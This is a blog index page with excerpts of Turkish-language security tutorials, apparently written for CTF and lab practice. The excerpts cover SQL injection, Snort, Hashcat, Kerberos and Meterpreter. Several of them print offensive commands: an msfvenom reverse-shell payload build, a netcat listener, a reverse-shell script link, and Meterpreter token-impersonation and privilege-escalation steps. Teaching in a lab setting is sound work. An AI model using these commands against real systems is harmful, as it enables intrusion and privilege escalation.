SQL Injection Oracle

SQL Injection Oracle

Cyber Security
Burp Suit Academy içeresinde bulunan Lab: SQL injection attack, listing the database contents on Oracle senaryosu üzerinde çözümü anlatacağım. Genelde zafiyetli makineler ya da CTF'lerde MySQL yapılarını görürüz ve sıklıkla MySQL dilinin yazım türü ile ilerleriz. Burada ki amacım ise farklı veritabanların dillerini kullanabilmek ya da karşılaşdığımız zaman metotlara hakim olabilmektir. Senaryonun bize verdiği özet şu şekildedir: Product category filter bölümünde SQL injection zafiyeti bulunmaktadır. UNION atak ile yanıtlar alabilmemizi sağlamaktadır. Bundan dolayı atak tipimiz Union attack olacaktır. SQL Injection saldırısını iyice kavramak için veritabanı bilginiz gereklidir. Bunun için iki yazım bulunmaktadır. SQL Injection da sıklıkla kullandığımız operatör ve ifadeler için https://www.asimmisirli.com/sql-injection-veritabanini-anlamak/ yararlanabilirsiniz. Ya da veritabanı giriş dersi için bu adresden faydalanabilirsiniz. https://www.asimmisirli.com/mysql-ile-veritabani-yonetimi-101/ Kullanışlı Cheat Sheet üzerinden faydalanabilirsiniz. https://portswigger.net/web-security/sql-injection/cheat-sheet SQL Injection Saldırı Adımları Sütun(column) sayısını bulmak Sütun(column) tiplerini(type) tespit etmek…
Read More
SQL Injection Veritabanını Anlamak

SQL Injection Veritabanını Anlamak

Cyber Security
İnsanlar veritabanı çalışma yapısını bilmeden SQL Injection saldırılarını ezbere bir şekilde öğreniyor. İleri ki aşamalara geçtiği zamanda tıkanıp kalıyor. Saldırı öncesi kesinlikle veritabanı üzerinde önemli fonksiyonları ve koşulları bilmemiz gerekir. MySQL Veritabanı eğitimi için daha önce yazdığım yazıya buradan ulaşabilirsiniz. https://www.asimmisirli.com/mysql-ile-veritabani-yonetimi-101/ Burada ki yazımda basit komutlarını bildiğinizi varsayarak SQL Injection ataklarında kullanılan union, order by , string birleştirme ifadesi, yorum ifadeleri ve veritabanı için bazı fonksiyonlardan bahsedeceğim. Senaryo Bilgisi İlgili anlatıma geçmeden önce veritabanı ve tablolarımıza bakalım; customers veritabanı içeresinde iki adet tablo bulunmaktadır. Bunlar; Users ve AdminUsers tablolarıdır. Users tablosu 3 satır 3 sütundan oluşur. AdminUsers tablosu 2 satir 2 sütundan oluşur.   MySQL ORDER BY    Veritabanlarında ORDER BY anahtarı sonuçları sıralama yapmak için kullanılır. Sonuçlar ascending ya da descending sıralamalarıdır. ASC, sıralaması küçükten büyüğe ya da a…
Read More
MySQL ile Veritabanı Yönetimi 101

MySQL ile Veritabanı Yönetimi 101

Cyber Security
MySQL ile database ve tablo oluşturmayı, Select, Update, Insert ve Delete fonksiyonların örneklerle ile anlatımı sağlayacağım. Yapılan işlemler herhangi bir Linux dağıtımında CLI üzerinde gerçekleşecektir. CLI = Command Line Interface yani Terminal anlamanı taşır. MySQL Ubuntu 20.04 Kurulumu apt install mysql-server MySQL konfigüre edilmesi için aşağıda ki komut girilmelidir. sudo mysql_secure_installation Sırasıyla Y , 2 parametreleri girilmelidir. Daha sonrasında size root hesabı için şifre oluşturmanızı isteyecektir. Sonrasında MySQL bağlantısı için aşağıda ki komut uygulanmalıdır. mysql -u root -p MySQL Nedir? Açık kaynak kodlu ilişkisel veritabanıdır. Unix ve Windows dağıtımlarını desteklemektedir. Linux dağıtımlarında daha hızlı olduğu söylenebilir. İlk olarak satır ve sütün kavramlarını bilmemiz gerekir. MySQL Column(sütün) ve Row(Satır) anlamanı taşır. Örnek 1: İd sütunu sırasıyla 1,2,3 değerlerini barındırmaktadır. Örnek 2: 1. satır sırasıyla 1, asim ve asimPASS değerlerini barındırmaktadır. MySQL…
Read More
Snort  Başlangıç Uygulamaları

Snort Başlangıç Uygulamaları

Cyber Security
Snort Nedir ? Snort ücretsiz ve açık kaynaklı ağ ihlallerini tespit ve engellemeyi sağlayan araçtır. Kural bazlı imzaları kullanır. Topluluklar tarafından oluşturulan kuralları, ücretli kuralları ya da kendinizin kural oluşturmasını sağlar. Örnek olarak, port taramaları, brute force denemeleri ya da exploit işlemlerini tespit ya da engelleyebilirsiniz. IDS ile tüm ağ sniffing yaparak oluşturulan kurallara göre uyarılarını belirtir. IPS ile oluşturulan kurallar çerçevesinde iletişimi keser. Snort Uygulaması İçin Gerekli Lab Ortamın Hazırlanması 2 adet client dağıtımı önemsiz linux kurulumları ve Snort üzerinde çalışacağı Ubuntu Server. clientler üzerinde herhangi birinde ssh servisi kurulu olmalıdır. Virtual Box Üzerinden Host Network Manager Alanından 192.168.58.0/24 şeklinde ağ oluşturulmalıdır. Snort Kural Senaryosu ICMP tespitiSSH bağlantısı tespitiSSH Connection Failed Attempt tespiti Yukarıda ki senaryolar için kurallar oluşturulacaktır. Snort Yapılandırması Ubuntu 20.04 lts server üzerinde Snort yapılandırmasını gerçekleştireceğim.…
Read More
Hashcat Kullanımı

Hashcat Kullanımı

Cyber Security
Hashcat Nedir? Hashcat, hashlerin(özetlerin) kırılmasını sağlayan ve açık kaynak olarak geliştirilen araçtır. CPU ve GPU desteği bulunur. Ayrıca Linux, Windows ve macOS gibi işletim sitemlerinde çalıştırabilir. Hashcat içeresinde manual olarak seçebileceğimiz 5 atak tipi bulunur. Bunlar; Dictionary attackCombinator attackBrute-force attack and Mask attackHybrid attackAssociation attack Yazımız da hashcat dictionary ve Brute-force & Mask attack konularına değineceğim. Hashcat Kurulumu Linux dağıtımlarında aşağıda ki kurabilirsiniz. sudo apt install hashcat Hashcat hızlı bir araç ama ne yazık ki hash türünü henüz tanımlayamıyor. Yani bir crack hash yaparken kırdığımız hash türünü parametre olarak vermemiz gerekiyor. Hash türünü tespit etmek ya da tanımlamak Github üzerinde çok fazla araç bulunmaktadır. Hash identifier olarak aratabilirsiniz. Bu araçlar %100 doğrulukta olmasa da genel olarak doğru sonuçlarda hash türünü belirtebilir. Sizin yapmanız sadece hash değerini vermek ve gelen sonucu…
Read More
Kerberos Genel Bakış

Kerberos Genel Bakış

Cyber Security
Windows için Authentication Servisleri Nelerdir ? İki adet doğrulama yöntemi vardır. Bunlar NTLM ve Kerberos servisleridir. NTLM Nedir? NTLM challenge / response mantığına dayanarak doğrulama yapar. Simetrik bir şifreleme alt yapısına sahiptir. Günümüzde güvenli olmayan ağlar da çok tercih edilmeyen yöntemdir. Ayrıca çok fazla atak vektörü bulunmaktadır. *Simetrik şifreleme, taraflar arasında tek bir anahtar bulunur. Bu anahtar ile taraflar şifreleme deşifreleme yaparlar. Örnek olarak AES 256 verilebilir. Kerberos Nedir ? Yunan mitolojisinden 3 başlıklı köpek olarak gelir. Burada ki görevi ise authentication servisi olmasıdır. NTLM servisinden daha güvenli bir yapı olması için tasarlanmıştır. Kullandığı 3.parti ticket yetkilendirme ile daha güçlü olacağı planlanmıştır. Kerberos da simetrik şifreleme yöntemini kullanır. Kerberos Bileşenleri Kerberos içeresinde Authentication servis, Database ve Ticket Granting Server bulundurur. Authentication Server, Bilet verme hizmeti için ilk kimlik doğrulaması ve…
Read More
Meterpreter Incognito Modulü

Meterpreter Incognito Modulü

Cyber Security
Elde ettiğimiz oturum üzerinde yetki yükseltmeye yarayan incognito modulünden bahsedeceğim. Tokenlar aynı web cookilerine benzer. Geçici olarak bu tokenlar bizlere system ve ağlara kullanıcı adı ve şifre sunmadan her zaman erişmemize sağlar. Incognito exploit de tokenları çalar. İki tip token vardır. Bunlar ; Delegate tokenlar interactive'dir. Makinede oturum açmak ya da uzaktan oturum açmak gibi durumlardır. Impersonate tokenlar non-interactive'dir. Ağ sürücüsünde ve ya domain'de oturum açmak gibi durumlardır. Şimdi incognito modulünü meterpreter ile kullanalım use incognito Elde ettiğimiz kullanıcı için kullanabilir tokenları listeleyelim list_tokens -g Tokenlara baktığımızda gözümüze BUILTIN\Administrators çarpıyor. Şimdi bu tokeni çalalım. impersonate_token BUILTIN\\Administrators Aslında her şey iyi gözüküyor. Bir eksiğimiz daha var. Bunun için öneri gereği serivices.exe'ye migrate uygulamak. ps Tüm processler listelenir. migrate PID ile geçiş yapılır. migrate 668 whoami :) Ek bilgiler: whoami /priv SeImpersonatePrivilegeSeAssignPrimaryPrivilegeSeTcbPrivilegeSeBackupPrivilegeSeRestorePrivilegeSeCreateTokenPrivilegeSeLoadDriverPrivilegeSeTakeOwnershipPrivilegeSeDebugPrivilege…
Read More
Netcat oturumundan Meterpreter’e Geçmek

Netcat oturumundan Meterpreter’e Geçmek

Cyber Security
Netcat telnet tabanlı komut çalıştırabilme ve dosya alış verişi sağlayan basit bir uygulamadır. Bu uygulama ile yeterince hareket ya da özelliğe sahip olamayız. Özellikle yetki yükseltmesi ya da daha fazla sömürü yapmak istiyorsak güçlü bir payload'a ihtiyacımız olur. Bu ihtiyacımızı Meterpreter ile karşılarız. Gerçekleştirilen uygulama https://tryhackme.com/room/alfred makinesi üzerinde gerçekleştirilmiştir. Netcat ile bağlantı alındığı varsayılmıştır. Powershell betiği yardımıyla reverse tcp socket açabildik. Bunun için burada ki betikden yararlanabilirsiniz. https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1 nc -lvnp 9001 Ek olarak hatırlatmak isterim. CMD üzerinde değiliz hedef sistem üzerinde powershell de çalışıyoruz. Switching Shells , Yetki yükselmeyi kolay hale getirmek için Meterpreter shell kullanacağız. Msfvenom ile shell oluşturmak msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=<ip adresini> LPORT=<port adresiniz> -f exe -o switchshell.exe Seçtiğiniz port numarası hedef sistem ve sizin dinleyeceğiniz sistem üzerinde çakışmamalıdır. LHOST , saldırgan ip…
Read More

Makine Çözümlerinde Yaygın İpucular

Cyber Security
TryHackMe ya da Hackthebox gibi platformlarda karşılaşdığım durumlarda kullandığım kısa yolları güncelleyerek paylaşacağım. SSH keyden kullanıcı adı öğrenmek ve private key ile hedef servere bağlantı sağlamak Sızdığımız zafiyetli makinelerden ya da senaryo gereği bulduğumuz keylerin nasıl kullanıldığı, hangi anahtarın(key) private yada public olduğunu göstereceğim. İlk olarak aldığımız anahtara(key) izin vermeliyiz. Benim aldığım keyler aşağıda ki gibidir. chmod 600 id_rsa chmod 600 did_rsa.pub SSH public anaharı(key) yardımı ile kullanıcı ismini öğrenelim; cat id_rsa.pub ekran çıktısından, cactus olduğunu anlıyoruz. SSH private key ile hedef sunucuya bağlantı aşağıdaki gibi sağlanır. -i parametresi private anahtar(key) verilmelidir. Farklı dizinde ise yolu(path) verilmelidir. ssh cactus@10.10.190.50 -i id_rsa Elimizde shell oturumu var biz bunu meterpreter çevirmek istiyoruz. Bunun için aşağıdaki payload kullanabilir. Çalıştığımız oturum arka plana(background) alınmalıdır. use post/multi/manage/shell_to_meterpreter set session <session number> Kurtarıcı ve kullanışlı simpleHTTPServer…
Read More